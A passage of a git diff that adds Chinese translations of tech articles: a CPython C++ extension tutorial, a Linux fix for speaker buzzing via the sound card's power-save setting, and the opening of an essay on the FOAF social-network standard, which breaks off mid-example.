Midori 网页浏览器是否可以推荐,我需要通过测试才能在将来推荐它。 + +_是这个开源搜索引擎更让你兴奋,还是浏览器?请在下面的评论中告诉我你的想法。 + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/midori-astiango/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[wxy](https://github.com/wxy) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://astian.org/en/midori-browser/ +[2]: https://astian.org +[3]: https://www.reddit.com/r/opensource/comments/z44jut/midori_browser_now_with_its_own_search_engine/ +[4]: https://astiango.com +[5]: https://gitlab.com/astiango/astian-search/ +[6]: https://news.itsfoss.com/content/images/2022/11/astiango.jpg +[7]: https://astiango.com/faq.php +[8]: https://news.itsfoss.com/content/images/2022/11/astiango.png +[9]: https://news.itsfoss.com/content/images/2022/11/midori-screenshot.png +[10]: https://astian.org/download/midori-browser-for-debian-x64/ +[11]: https://news.itsfoss.com/content/images/2022/11/midori-download.png +[12]: https://gitlab.com/midori-web/midori-desktop diff --git a/published/20221124.4 ⭐️⭐️⭐️ Write a C++ extension module for Python.md b/published/20221124.4 ⭐️⭐️⭐️ Write a C++ extension module for Python.md new file mode 100644 index 0000000000..5f426b7f7d --- /dev/null +++ b/published/20221124.4 ⭐️⭐️⭐️ Write a C++ extension module for Python.md @@ -0,0 +1,323 @@ +[#]: subject: "Write a C++ extension module for Python" +[#]: via: "https://opensource.com/article/22/11/extend-c-python" +[#]: author: "Stephan Avenwedde https://opensource.com/users/hansic99" +[#]: collector: "lkxed" +[#]: translator: "MjSeven" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15405-1.html" + +为 Python 写一个 C++ 扩展模块 +====== + +![][0] + +> 使用 C 扩展为 Python 提供特定功能。 + +在前一篇文章中,我介绍了 [六个 Python 解释器][1]。在大多数系统上,CPython 是默认的解释器,而且根据民意调查显示,它还是最流行的解释器。Cpython 的独有功能是使用扩展 API 用 C 语言编写 Python 模块。用 C 语言编写 Python 模块允许你将计算密集型代码转移到 C,同时保留 Python 的易用性。 + +在本文中,我将向你展示如何编写一个 C++ 扩展模块。使用 C++ 而不是 C,因为大多数编译器通常都能理解这两种语言。我必须提前说明缺点:以这种方式构建的 Python 模块不能移植到其他解释器中。它们只与 CPython 解释器配合工作。因此,如果你正在寻找一种可移植性更好的与 C 语言模块交互的方式,考虑下使用 [ctypes][2] 模块。 + +### 源代码 + +和往常一样,你可以在 [GitHub][3] 上找到相关的源代码。仓库中的 C++ 文件有以下用途: + +- `my_py_module.cpp`: Python 模块 `MyModule` 的定义 +- `my_cpp_class.h`: 一个头文件 - 只有一个暴露给 Python 的 C++ 类 +- `my_class_py_type.h/cpp`: Python 形式的 C++ 类 +- `pydbg.cpp`: 用于调试的单独应用程序 + +本文构建的 Python 模块不会有任何实际用途,但它是一个很好的示例。 + +### 构建模块 + +在查看源代码之前,你可以检查它是否能在你的系统上编译。[我使用 CMake][4] 来创建构建的配置信息,因此你的系统上必须安装 CMake。为了配置和构建这个模块,可以让 Python 去执行这个过程: + +``` +$ python3 setup.py build +``` + +或者手动执行: + +``` +$ cmake -B build +$ cmake --build build +``` + +之后,在 `/build` 子目录下你会有一个名为 `MyModule. so` 的文件。 + +### 定义扩展模块 + +首先,看一下 `my_py_module.cpp` 文件,尤其是 `PyInit_MyModule` 函数: + +``` +PyMODINIT_FUNC +PyInit_MyModule(void) { + PyObject* module = PyModule_Create(&my_module); + + PyObject *myclass = PyType_FromSpec(&spec_myclass); + if (myclass == NULL){ + return NULL; + } + Py_INCREF(myclass); + + if(PyModule_AddObject(module, "MyClass", myclass) < 0){ + Py_DECREF(myclass); + Py_DECREF(module); + return NULL; + } + return module; +} +``` + +这是本例中最重要的代码,因为它是 CPython 的入口点。一般来说,当一个 Python C 扩展被编译并作为共享对象二进制文件提供时,CPython 会在同名二进制文件中(`.so`)搜索 `PyInit_` 函数,并在试图导入时执行它。 + +无论是声明还是实例,所有 Python 类型都是 [PyObject][5] 的一个指针。在此函数的第一部分中,`module` 通过 `PyModule_Create(...)` 创建的。正如你在 `module` 详述(`my_py_module`,同名文件)中看到的,它没有任何特殊的功能。 + +之后,调用 [PyType_FromSpec][6] 为自定义类型 `MyClass` 创建一个 Python [堆类型][7] 定义。一个堆类型对应于一个 Python 类,然后将它赋值给 `MyModule` 模块。 + +_注意,如果其中一个函数返回失败,则必须减少以前创建的复制对象的引用计数,以便解释器删除它们。_ + +### 指定 Python 类型 + +`MyClass` 详述在 [my_class_py_type.h][8] 中可以找到,它作为 [PyType_Spec][9] 的一个实例: + +``` +static PyType_Spec spec_myclass = { + "MyClass", // name + sizeof(MyClassObject) + sizeof(MyClass), // basicsize + 0, // itemsize + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_BASETYPE, // flags + MyClass_slots // slots +}; +``` + +它定义了一些基本类型信息,它的大小包括 Python 表示的大小(`MyClassObject`)和普通 C++ 类的大小(`MyClass`)。`MyClassObject` 定义如下: + +``` +typedef struct { + PyObject_HEAD + int m_value; + MyClass* m_myclass; +} MyClassObject; +``` + +Python 表示的话就是 [PyObject][5] 类型,由 `PyObject_HEAD` 宏和其他一些成员定义。成员 `m_value` 视为普通类成员,而成员 `m_myclass` 只能在 C++ 代码内部访问。 + +[PyType_Slot][10] 定义了一些其他功能: + +``` +static PyType_Slot MyClass_slots[] = { + {Py_tp_new, (void*)MyClass_new}, + {Py_tp_init, (void*)MyClass_init}, + {Py_tp_dealloc, (void*)MyClass_Dealloc}, + {Py_tp_members, MyClass_members}, + {Py_tp_methods, MyClass_methods}, + {0, 0} /* Sentinel */ +}; +``` + +在这里,设置了一些初始化和析构函数的跳转,还有普通的类方法和成员,还可以设置其他功能,如分配初始属性字典,但这是可选的。这些定义通常以一个哨兵结束,包含 `NULL` 值。 + +要完成类型详述,还包括下面的方法和成员表: + +``` +static PyMethodDef MyClass_methods[] = { + {"addOne", (PyCFunction)MyClass_addOne, METH_NOARGS, PyDoc_STR("Return an incrmented integer")}, + {NULL, NULL} /* Sentinel */ +}; + +static struct PyMemberDef MyClass_members[] = { + {"value", T_INT, offsetof(MyClassObject, m_value)}, + {NULL} /* Sentinel */ +}; +``` + +在方法表中,定义了 Python 方法 `addOne`,它指向相关的 C++ 函数 `MyClass_addOne`。它充当了一个包装器,它在 C++ 类中调用 `addOne()` 方法。 + +在成员表中,只有一个为演示目的而定义的成员。不幸的是,在 [PyMemberDef][12] 中使用的 [offsetof][11] 不允许添加 C++ 类型到 `MyClassObject`。如果你试图放置一些 C++ 类型的容器(如 [std::optional][13]),编译器会抱怨一些内存布局相关的警告。 + +### 初始化和析构 + +`MyClass_new` 方法只为 `MyClassObject` 提供一些初始值,并为其类型分配内存: + +``` +PyObject *MyClass_new(PyTypeObject *type, PyObject *args, PyObject *kwds){ + std::cout << "MtClass_new() called!" << std::endl; + + MyClassObject *self; + self = (MyClassObject*) type->tp_alloc(type, 0); + if(self != NULL){ // -> 分配成功 + // 赋初始值 + self->m_value = 0; + self->m_myclass = NULL; + } + return (PyObject*) self; +} +``` + +实际的初始化发生在 `MyClass_init` 中,它对应于 Python 中的 [\_\_init__()][14] 方法: + +``` +int MyClass_init(PyObject *self, PyObject *args, PyObject *kwds){ + + ((MyClassObject *)self)->m_value = 123; + + MyClassObject* m = (MyClassObject*)self; + m->m_myclass = (MyClass*)PyObject_Malloc(sizeof(MyClass)); + + if(!m->m_myclass){ + PyErr_SetString(PyExc_RuntimeError, "Memory allocation failed"); + return -1; + } + + try { + new (m->m_myclass) MyClass(); + } catch (const std::exception& ex) { + PyObject_Free(m->m_myclass); + m->m_myclass = NULL; + m->m_value = 0; + PyErr_SetString(PyExc_RuntimeError, ex.what()); + return -1; + } catch(...) { + PyObject_Free(m->m_myclass); + m->m_myclass = NULL; + m->m_value = 0; + PyErr_SetString(PyExc_RuntimeError, "Initialization failed"); + return -1; + } + + return 0; +} +``` + +如果你想在初始化过程中传递参数,必须在此时调用 [PyArg_ParseTuple][15]。简单起见,本例将忽略初始化过程中传递的所有参数。在函数的第一部分中,`PyObject` 指针(`self`)被强转为 `MyClassObject` 类型的指针,以便访问其他成员。此外,还分配了 C++ 类的内存,并执行了构造函数。 + +注意,为了防止内存泄漏,必须仔细执行异常处理和内存分配(还有释放)。当引用计数将为零时,`MyClass_dealloc` 函数负责释放所有相关的堆内存。在文档中有一个章节专门讲述关于 C 和 C++ 扩展的内存管理。 + +### 包装方法 + +从 Python 类中调用相关的 C++ 类方法很简单: + +``` +PyObject* MyClass_addOne(PyObject *self, PyObject *args){ + assert(self); + + MyClassObject* _self = reinterpret_cast(self); + unsigned long val = _self->m_myclass->addOne(); + return PyLong_FromUnsignedLong(val); +} +``` + +同样,`PyObject` 参数(`self`)被强转为 `MyClassObject` 类型以便访问 `m_myclass`,它指向 C++ 对应类实例的指针。有了这些信息,调用 `addOne()` 类方法,并且结果以 [Python 整数对象][17] 返回。 + +### 3 种方法调试 + +出于调试目的,在调试配置中编译 CPython 解释器是很有价值的。详细描述参阅 [官方文档][18]。只要下载了预安装的解释器的其他调试符号,就可以按照下面的步骤进行操作。 + +#### GNU 调试器 + +当然,老式的 [GNU 调试器(GDB)][19] 也可以派上用场。源码中包含了一个 [gdbinit][20] 文件,定义了一些选项和断点,另外还有一个 [gdb.sh][21] 脚本,它会创建一个调试构建并启动一个 GDB 会话: + +![Gnu 调试器(GDB)对于 Python C 和 C++ 扩展非常有用][22] + +GDB 使用脚本文件 [main.py][23] 调用 CPython 解释器,它允许你轻松定义你想要使用 Python 扩展模块执行的所有操作。 + +#### C++ 应用 + +另一种方法是将 CPython 解释器嵌入到一个单独的 C++ 应用程序中。可以在仓库的 [pydbg.cpp][24] 文件中找到: + +``` +int main(int argc, char *argv[], char *envp[]) +{ + Py_SetProgramName(L"DbgPythonCppExtension"); + Py_Initialize(); + + PyObject *pmodule = PyImport_ImportModule("MyModule"); + if (!pmodule) { + PyErr_Print(); + std::cerr << "Failed to import module MyModule" << std::endl; + return -1; + } + + PyObject *myClassType = PyObject_GetAttrString(pmodule, "MyClass"); + if (!myClassType) { + std::cerr << "Unable to get type MyClass from MyModule" << std::endl; + return -1; + } + + PyObject *myClassInstance = PyObject_CallObject(myClassType, NULL); + + if (!myClassInstance) { + std::cerr << "Instantioation of MyClass failed" << std::endl; + return -1; + } + + Py_DecRef(myClassInstance); // invoke deallocation + return 0; +} +``` + +使用 [高级接口][25],可以导入扩展模块并对其执行操作。它允许你在本地 IDE 环境中进行调试,还能让你更好地控制传递或来自扩展模块的变量。 + +缺点是创建一个额外的应用程序的成本很高。 + +#### VSCode 和 VSCodium LLDB 扩展 + +使用像 [CodeLLDB][26] 这样的调试器扩展可能是最方便的调试选项。仓库包含了一些 VSCode/VSCodium 的配置文件,用于构建扩展,如 [task.json][27]、[CMake Tools][28] 和调用调试器([launch.json][29])。这种方法结合了前面几种方法的优点:在图形 IDE 中调试,在 Python 脚本文件中定义操作,甚至在解释器提示符中动态定义操作。 + +![VSCodium 有一个集成的调试器。][30] + +### 用 C++ 扩展 Python + +Python 的所有功能也可以从 C 或 C++ 扩展中获得。虽然用 Python 写代码通常认为是一件容易的事情,但用 C 或 C++ 扩展 Python 代码是一件痛苦的事情。另一方面,虽然原生 Python 代码比 C++ 慢,但 C 或 C++ 扩展可以将计算密集型任务提升到原生机器码的速度。 + +你还必须考虑 ABI 的使用。稳定的 ABI 提供了一种方法来保持旧版本 CPython 的向后兼容性,如 [文档][31] 所述。 + +最后,你必须自己权衡利弊。如果你决定使用 C 语言来扩展 Python 中的一些功能,你已经看到了如何实现它。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/11/extend-c-python + +作者:[Stephan Avenwedde][a] +选题:[lkxed][b] +译者:[MjSeven](https://github.com/MjSeven) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/hansic99 +[b]: https://github.com/lkxed +[1]: https://opensource.com/article/22/9/python-interpreters-2022 +[2]: https://docs.python.org/3/library/ctypes.html#module-ctypes +[3]: https://github.com/hANSIc99/PythonCppExtension +[4]: https://opensource.com/article/21/5/cmake +[5]: https://docs.python.org/release/3.9.1/c-api/structures.html?highlight=pyobject#c.PyObject +[6]: https://docs.python.org/3/c-api/type.html#c.PyType_FromSpec +[7]: https://docs.python.org/3/c-api/typeobj.html#heap-types +[8]: https://github.com/hANSIc99/PythonCppExtension/blob/main/my_class_py_type.h +[9]: https://docs.python.org/3/c-api/type.html#c.PyType_Spec +[10]: https://docs.python.org/release/3.9.1/c-api/type.html?highlight=pytype_slot#c.PyType_Slot +[11]: https://en.cppreference.com/w/cpp/types/offsetof +[12]: https://docs.python.org/release/3.9.1/c-api/structures.html?highlight=pymemberdef#c.PyMemberDef +[13]: https://en.cppreference.com/w/cpp/utility/optional +[14]: https://docs.python.org/3/library/dataclasses.html?highlight=__init__ +[15]: https://docs.python.org/3/c-api/arg.html#c.PyArg_ParseTuple +[16]: https://docs.python.org/3/c-api/memory.html +[17]: https://docs.python.org/3/c-api/long.html +[18]: https://docs.python.org/3/c-api/intro.html#debugging-builds +[19]: https://opensource.com/article/21/3/debug-code-gdb +[20]: https://github.com/hANSIc99/PythonCppExtension/blob/main/gdbinit +[21]: https://github.com/hANSIc99/PythonCppExtension/blob/main/gdb.sh +[22]: https://opensource.com/sites/default/files/2022-11/gdb_session_b_0.png +[23]: https://github.com/hANSIc99/PythonCppExtension/blob/main/main.py +[24]: https://github.com/hANSIc99/PythonCppExtension/blob/main/pydbg.cpp +[25]: https://docs.python.org/3/extending/embedding.html#very-high-level-embedding +[26]: https://github.com/vadimcn/vscode-lldb +[27]: https://github.com/hANSIc99/PythonCppExtension/blob/main/.vscode/tasks.json +[28]: https://github.com/microsoft/vscode-cmake-tools +[29]: https://github.com/hANSIc99/PythonCppExtension/blob/main/.vscode/launch.json +[30]: https://opensource.com/sites/default/files/2022-11/vscodium_debug_session.png +[31]: https://docs.python.org/3/c-api/stable.html +[0]: https://img.linux.net.cn/data/attachment/album/202301/02/173501o26htajatlpj0lqt.jpg \ No newline at end of file diff --git a/published/20221126.1 ⭐️ How I Fixed Buzzing Noise Coming from Speakers in Linux.md b/published/20221126.1 ⭐️ How I Fixed Buzzing Noise Coming from Speakers in Linux.md new file mode 100644 index 0000000000..70767163ae --- /dev/null +++ b/published/20221126.1 ⭐️ How I Fixed Buzzing Noise Coming from Speakers in Linux.md @@ -0,0 +1,133 @@ +[#]: subject: "How I Fixed Buzzing Noise Coming from Speakers in Linux" +[#]: via: "https://itsfoss.com/buzzing-noise-speaker-linux" +[#]: author: "Sagar Sharma https://itsfoss.com/author/sagar/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15415-1.html" + +如何修复 Linux 中扬声器发出的嗡嗡声 +====== + +![][0] + +我使用笔记本电脑很长时间了,但最近才切换到台式机上,以便进行远程工作。 + +我注意到我的扬声器不断发出嗡嗡声。这很烦人,让我头疼。我开始着手解决这个问题。了解问题的根本原因非常有趣。 + +我将分享我在 Linux 中修复扬声器嗡嗡声的经验。我发现它可以在同一硬件上对 Ubuntu、Debian 和 Pop OS 都有效。 + +需要考虑的一件事是,如果本指南不适合你,你可能遇到了严重的硬件问题。对于大多数用户来说,给定的方案应该可以解决问题。 + +**在尝试修复之前** + +我试图让事情变得容易安全地遵循。你可以尝试临时修复,如果有效,则将更改永久化。但是,最好使用 Timeshift 制作系统快照。如果你在出现故障时很容易惊慌失措,你可以将系统恢复到之前的状态。 + +另外,检查你的声卡。在我的例子中,它是 `snd_hda_intel`。对于 USB 卡,它可以是 `snd_usb_audio`。你必须根据你的声卡更改命令。 + +``` +cat /proc/asound/modules +``` + +### Linux 中扬声器发出嗡嗡声的原因 + +梳理了无数的论坛帖子和网站后,我了解了问题的根本原因。这是因为扬声器中的电容放电。它可以通过关闭声卡的省电设置来解决。 + +通过关闭省电,你允许系统在这些电容放电时为其充电。这类似于在一直充电时使用电话。 + +你可以使用给定的命令检查你的系统是否启用了声卡的省电设置: + +``` +cat /sys/module/snd_hda_intel/parameters/power_save +``` + +![power saving setting in sound card making buzzing sound in linux][1] + +如果你像我一样输出是 `1`,那么省电功能已打开。因此,让我们看一下方案。 + +不用担心。这不会显著影响你的电池百分比,因为所示方法仅适用于声卡。 + +### 尝试修复嗡嗡声问题(临时) + +我之所以包括临时方法是为了确定嗡嗡声是由于电容放电引起的,还是存在严重的硬件问题。 + +如果此临时方案有效,你可以继续使用永久方案。 + +第一步是切换到 root 用户: + +``` +sudo su +``` + +然后,执行给定的命令,它应该停止嗡嗡声直到下次启动: + +``` +echo 0 > /sys/module/snd_hda_intel/parameters/power_save +``` + +如果你使用的是 **USB 声卡**,则必须将 `snd_hda_intel` 替换为 `snd_usb_audio`,如下所示: + +``` +echo 0 > /sys/module/snd_usb_audio/parameters/power_save +``` + +如果上述技巧解决了问题,那么你必须使变更永久化。否则,下次重启系统时更改将丢失。 + +### 修复嗡嗡声问题(永久) + +在这里,我将对内核参数进行更改。 + +将你的工作目录更改为 `/etc/modprobe.d`: + +``` +cd /etc/modprobe.d +``` + +现在,创建一个名为 `audio_disable_powersave.conf` 的新文件,并使用给定命令使用 nano 文本编辑器打开: + +``` +sudo nano audio_disable_powersave.conf +``` + +并在该文件中放入以下行以永久关闭声卡中的省电设置: + +``` +options snd_hda_intel power_save=0 +``` + +![fix buzzing sound in linux][2] + +对于 **USB 声卡**,你需要使用 `snd_usb_audio`: + +``` +options snd_usb_audio power_save=0 +``` + +现在,[保存更改并退出 Nano 文本编辑器][3] 并按 `Ctrl+X` 键。重启你的系统,你就可以享受无噪音的工作空间。 + +### 总结 + +本指南解释了嗡嗡声的原因以及如何直接解决该问题。 + +同样,除了电容放电之外,你可能还有其他问题,因此你应该始终尝试临时方法。 + +让我知道你是否能够以这种方式解决 Linux 中扬声器发出的嗡嗡声。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/buzzing-noise-speaker-linux + +作者:[Sagar Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/sagar/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/content/images/wordpress/2022/11/power-saving-setting-in-sound-card-making-buzzing-sound-in-linux.png +[2]: https://itsfoss.com/content/images/wordpress/2022/11/fix-buzzing-sound-in-linux.png +[3]: https://linuxhandbook.com/nano-save-exit/ +[0]: https://img.linux.net.cn/data/attachment/album/202301/05/150250sqbeq35bh699r157.jpg \ No newline at end of file diff --git a/published/202212/20200105 Friend of a Friend- The Facebook That Could Have Been.md b/published/202212/20200105 Friend of a Friend- The Facebook That Could Have Been.md new file mode 100644 index 0000000000..b6e24592de --- /dev/null +++ b/published/202212/20200105 Friend of a Friend- The Facebook That Could Have Been.md @@ -0,0 +1,219 @@ +[#]: subject: "Friend of a Friend: The Facebook That Could Have Been" +[#]: via: "https://twobithistory.org/2020/01/05/foaf.html" +[#]: author: "Two-Bit History https://twobithistory.org" +[#]: collector: "lujun9972" +[#]: translator: "aREversez" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15334-1.html" + +FOAF:本可以成为 Facebook +====== + +![][0] + +> 我把自己的社交网络写进 FOAF 文件,这就是变革之始。—— 互联网之父蒂姆·伯纳斯·李(2007) + +FOAF 标准(朋友的朋友Friend of a Friend),是一个可以追溯到本世纪初的网络标准,目前它基本上已经不再使用了,或者说被人们忘记了,亦或者说已经被取代了 [^1]。它暗示了,假如 Facebook 没有征服世界的话,FOAF 将会定义我们今天所用的社交网络。不过在开始探讨这一网络标准之前,我想先来谈一谈纽约地铁。 + +目前,纽约地铁的唯一管理机构是 大都会运输署Metropolitan Transportation Agency(简称 MTA)。MTA 垄断了纽约市的地铁交通。在纽约乘地铁必须先从 MTA 购买车票,否则属于非法行为。也就是说,MTA 在地铁行业没有任何竞争对手。 + +不过,以前可不是这样。说起来可能有些让人吃惊,纽约市的地铁交通曾由两家企业相互竞争,共同运营。跨区捷运公司Inter-borough Rapid Transit Company(IRT)的势力范围是穿过曼哈顿的线路,布鲁克林-曼哈顿运输股份有限公司Brooklyn-Manhattan Transit Corporation(BMT)管理的则是布鲁克林区内的线路,其中也有部分线路延伸到了曼哈顿。1932 年,纽约市开通使用了自己的服务,称为独立地铁系统,与 IRT 和 BMT 展开竞争,所以当时纽约共有三家不同公司控制着市内地铁交通。 + +可能会有人觉得这样的地铁运营效率不高。事实上也确是如此。由于 IRT 和 BMT 投入使用的列车宽度不同,所以在不同的运营系统之间建造换乘站十分困难。此外,乘客换乘时还需向不同的运营商支付费用,这就意味着在换乘站至少要设置两个不同的检票区域。后来,纽约市于 1940 年接管了 IRT 和 BMT,将整个纽约市的地铁交通置于一家运营商的管理之下,不过由于此前分而治之而造成的效率低下问题时至今日依然存在:能在 BMT 的线路上(如 A、C、E 号线)运行的列车无法在 IRT 的线路上(如 1、2、3 号线)运行,因为 IRT 的线路隧道比较窄。因此,MTA 不得不同时管理这两种互不兼容的列车系统,由此带来的支出可能远比世界上其他单一隧道宽度的地铁系统要多得多。 + +IRT 和 BMT 之间的竞争所造成的历史遗留问题告诉我们,地铁系统本身就趋向于垄断经营。相比较于两家运营商相互竞争,只有一家运营商更能解决问题。乘客们虽然失去了选择的余地,但再也不用担心带了一张地铁卡却忘记了另一张的问题。 + +那么,地铁和社交网络又有什么关系呢?我在想,Facebook 是否和 MTA 一样都有自然垄断的属性呢?事实上,无论是自然垄断还是非自然垄断,Facebook 貌似确有垄断能力。当然它垄断的不是社交媒体本身(我在 Twitter 上面花的时间更多),而是垄断了与现实中认识的人之间的线上联系。Facebook 能够垄断所谓的“社交图谱”;如果我不用担心会失去与别人的联系方式,那我明天就会卸载 Facebook。我对 Facebook 对我身上的这种垄断权力感到非常气愤。不过,我却不会生 MTA 的气,即便从字面上和隐喻上来讲,纽约市地铁都是一堆焚烧着的、火舌乱窜的垃圾。说到底,我愤怒是因为我觉得不同于 MTA 的自然垄断,Facebook 的垄断属于非自然垄断。 + +我的意思是,如今 Facebook 之所以能拥有所有人的社交数据,因为它碰巧是第一个做大做强、确立巨头地位的社交平台,而不是因为其他社交平台难以或者无法与之竞争。不过,难道真是因为这样吗?许多事实告诉我们,原因并非如此。Facebook 仅仅是先入为主,还是它提供的服务真的比其他社交平台要好?如果你想联系老朋友,只有 Facebook 这一个平台的话,不会方便许多吗?在一个有几个 “Facebook” 相互竞争的情况下,如果你和你男朋友 Facebook 上面的感情状态都显示“交往中”,但是他始终没来得及更新他在 VisageBook 上的感情状态,那上面现在还显示着他和他大学前任的关系,那么这种情况意味着什么呢?人们信任的又是哪个社交网站呢?如果社交网站有很多,难道在填写信息上面不会很耗时间吗? + +过去几年,由于中心化社交网络的缺陷暴露出来,许多人尝试构建去中心化的平台。基于开放标准,去中心化平台有望建立互通的社交网络生态(比如 [Fediverse][2])。可惜的是,其中没有一个平台能够取代主流社交网络。一个比较明显的原因是 网络效应network effects的力量:既然每个人都在用 Facebook,那么任何想要放弃 Facebook 的人都将会付出巨大的代价。有人会说,这一点恰恰证明了社交网络属于自然垄断行业。但我想说,Facebook、Twitter 等平台是自己选择封闭起来的。此外,鉴于人们已经设想出社交网络的互通性,并且付诸实践,那么封闭的社交平台引发的网络效应就无法证明社交网络具有自然垄断属性。 + +因此,在我看来,真正的问题是:之所以 Facebook 等平台到现在仍是主流社交网络,仅仅是因为网络效应,还是说与只有一家运营商的地铁系统一样,单一的主流社交网络效率更高? + +最后,这些问题让我想起了 FOAF。尽管人们似乎已经忘记了 FOAF 标准,但是早在 Facebook 出现之前,人们就尝试使用 FOAF 建立开放的、去中心化的社交网络。如果过去有哪个去中心化社交网络有机会早于 Facebook 占领如今它驻守的阵地,那只可能是 FOAF。考虑到世界上大部分人都有 Facebook 账号,而且了解 FOAF 的人相对较少,我们是否可以得到如下结论:同地铁一样,社交网络也有中心化和自然垄断的性质;亦或者,FOAF 项目说明,尽管去中心化社交网络可行,但由于其他原因,无法获得人们的广泛支持。 + +### 早期社交媒体的未来 + +FOAF 项目诞生于 2000 年,旨在建立一套表示个人身份以及人与人之间关系的通用标准。在今天看来,这一雄心勃勃的项目可能会让人感到惊讶,但是在上世纪末本世纪初,这样的想法再寻常不过了。当时网络Web(当时人们仍然这样称呼它)刚刚击败了 美国在线America Online 与 [Prodigy][3] 等封闭系统。这让人很自然地想到,计算机领域的创新发展必须要保持开放、基于标准,而且这也正是网络的特点。 + +许多人认为,网络下一场重头戏会是 语义网Semantic Web。我有篇文章介绍了关于语义网概念与运行原理的设想,所以这里不再赘述。但是我会简单谈谈推动人们研究语义网技术的愿景,因为 FOAF 标准正是这一愿景在社交网络方面的应用。 + +一篇题为 《[谷歌如何击败亚马逊和易贝,朝着语义网进军][5]How Google beat Amazon and Ebay to the Semantic Web》 的文章很好地描绘了语义网这一崇高理想。文章写于 2002 年,作者是 Paul Ford。这篇文章设想了 2002 年至 2009 年的情景:通过使用语义网,谷歌取代了亚马逊和易贝,成为电商平台主导者。文章指出,在未来,如果你想买东西,比如说一把二手的马丁吉他,可以在谷歌中输入 `buy:martin guitar`。根据你的邮编,谷歌会告诉你附近哪些人在卖马丁吉他。谷歌之所以可以获取卖家及其吉他的信息,是因为它可以读取资源描述框架标记语言(RDF),该语言是语义网的核心技术,用于描述资源之间的关系。人们可以将 RDF 内容嵌入网页,能实现很多用途,比如给要卖的东西打广告。Ford 预测,随着使用这种方式搜索和售卖商品的人数增加,亚马逊和易贝将失去它们在电商领域近乎垄断的地位。如果可以搜索全网,又有谁会执着于某个封闭的数据库呢?Ford 写道,即便是谷歌,最终也会失势。因为理论上,任何一个人都可以检索网络,查阅 RDF,提供类似于谷歌的搜索功能。起码,如果谷歌打算对语义网上的每笔交易按一定比例收取费用,以此盈利,那么以后随着相关竞争越来越激烈,谷歌的抽成比例很有可能会被迫降低。 + +Ford 所设想的未来是将 RDF 应用于电商领域,不过 RDF 更振奋人心的地方在于,它或许可以应用于各个领域。RDF 标准以及一系列相关标准,一旦得到广泛应用,被认为可以掀开基于数据库的软件服务的发展,如同 HTML 为文档出版带来新的发展契机一般。 + +RDF 以及其他语义网技术似乎准备立刻接管的另一个领域是社交网络。FOAF 项目最初的名字是“RDF 网络环RDF Web Ring”,是语义网发展的产物,旨在实现语义网的设想。FOAF 自诞生之初就被人们看好,有人甚至认为,FOAF 必定会淘汰掉其他社交网站。2004 年《卫报》的一篇文章这样介绍该项目: + +> 最初是 1996 年,SixDegrees 开始运营;接着是去年,出现了 Friendster;上周是 Orkut;下周 Flickr 也会登上舞台。这些网站不胜枚举,都是为了建立社交网络。如今,它们处在互联网发展的最前沿。但是,如果它们无法提供更实质性的好处,在 FOAF 标准得到广泛应用之后,它们就会很难存活下去。[^2] + +文章继续指出,社交网络面临的最大问题就是社交网站数量过多。这就需要一种能够将所有这些网站连接起来的手段。可行方案就是 FOAF ,它终将变革整个社交网络。 + +根据该文章,FOAF 可将不同的社交网站紧密连接起来,实现途径有三个要点: + + * FOAF 将创建机器可读的社交数据格式,可为各个社交网站识别读取,避免让用户在不同的网站上重复输入信息。 + * FOAF 标准下,联系人Contacts(个人信息管理程序)可生成上述格式的文件,供用户在各社交网站使用。 + * FOAF 标准下,这种机器可读的文件可寄放在个人主页上,可为各社交网站读取。这样一来,用户只需将修改过的信息推到自己的主页,其他平台就会同步更新。 + +在今天可能难以想象,但在 2004 年,至少在熟悉技术的网民和技术专栏记者看来,当时社交网络并不算少,但是每个网络的用户群体都很小。考虑到这个问题,虽然对现在的我们来说很陌生,我们就会明白为什么需要建立单一标准是有意义的,这个标准可以使网络的激增不再是一个负担。 + +### FOAF 规范 + +根据 FOAF 项目官网现有的介绍,FOAF 是“一种计算机语言,用于生成与人相关的各种条目的字典,条目以结构化数据的形式储存”。2000 年,FOAF 的创始人 Dan Brickley 和 Libby Miller 发表了一份关于该项目目标的文件,给出了不同的解释,强调了 FOAF 的最终目标:作为工具,FOAF 可让计算机像人类一样读取用户主页的个人信息 [^3]。FOAF 将会“帮助网络提供当前只有中心化平台才能提供的服务”[^4]。通过为个人以及人际关系定义一个标准词汇,FOAF 可以理解用户输入的内容,比如“找找今天推荐的医院医疗人员”,或者“找找曾与我合作撰写过文件的人最近发表的文章”。 + +由于 FOAF 是标准化的词汇表,所以该项目最重要的成果莫过于 FOAF 规范。FOAF 规范规定了 RDF 类 和 RDF 属性(这里我不再解释什么是 RDF,如果感兴趣可查阅 [我关于语义网的文章][4])。RDF 的类由 FOAF 规范规定,表示要描述的对象,比如人(`Person` 类)和组织(`Organization` 类)。RDF 属性由 FOAF 规范规定,表示针对不同对象所做的逻辑声明。例如,一个人可以有一个名字(`givenName` 属性)、一个姓氏(`familyName` 属性),可能还有人格类型(`myersBriggs` 属性)以及与他人的距离或者位置信息(`based_near` 属性)。FOAF 规范的思想是,这些类和属性要足以表示人们在个人主页上显示的身份信息和朋友信息。(LCTT 译注:Myers–Briggs 即迈尔斯布里格斯类型指标,是一种人格类型理论模型。) + +FOAF 规范给出了一份 FOAF 文档的范例。该实例的格式是 XML,不过也可以使用 JSON 等格式进行编写: + +``` + + Dan Brickley + + + + +``` + +这份 